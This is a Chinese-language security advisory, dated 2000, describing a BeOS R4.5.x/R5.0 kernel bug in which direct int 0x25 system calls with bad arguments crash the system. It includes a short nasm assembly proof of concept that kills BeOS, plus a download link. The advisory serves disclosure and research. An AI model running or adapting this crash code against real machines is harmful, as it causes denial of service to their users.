首页 -> 安全研究

安全研究

安全漏洞
BeOS 系统调用问题

发布日期:2000-04-11
更新日期:2000-04-11

受影响系统:
BeOS R4.5.x、BeOS R5.0
描述:

如果通过int 0x25中断直接进行内核调用,而不是通过
libroot.so动态链接库提供的库函数间接进行内核系统
调用,此时绝大多数系统调用对于无效的参数/堆栈没
有做容错处理,进而导致BeOS崩溃。尽管R5.0版之前就
发现了这个问题,但R5.0版本并没有修正这个问题。至
少在所有的R4.5.x版本中存在同样的问题。

<* 来源:Konstantin Boldyshev < mailto: konst@linuxassembly.org > *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

这里有一个简单的汇编程序可以杀死BeOS(nasm):
--------------------------------------------------------------------
;Copyright (c) 2000 Konstantin Boldyshev <konst@linuxassembly.org>
;
;This was an attempt to write string to stdout, but..
;BeOS dies silently on such a program -- kernel bug
;
;to compile:
;
;nasm -f elf bedie.asm
;ld -s -o bedie bedie.o

section .text

global  _start

_start:

    push    dword msglen ;message length
    push    dword msg    ;message
    push    dword 1      ;stdout
    mov eax,0x03         ;sys_write
    int 0x25

    mov eax,0x3f         ;sys_exit
    int 0x25

msg db  "Suicide",0xa
msglen  equ $ - msg
--------------------------------------------------------------------

可以从这里下载二进制可执行文件以及源代码:

http://linuxassembly.org/BeDie.tgz


建议:
暂时没有补丁可用,这是内核的问题。

浏览次数:6407
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障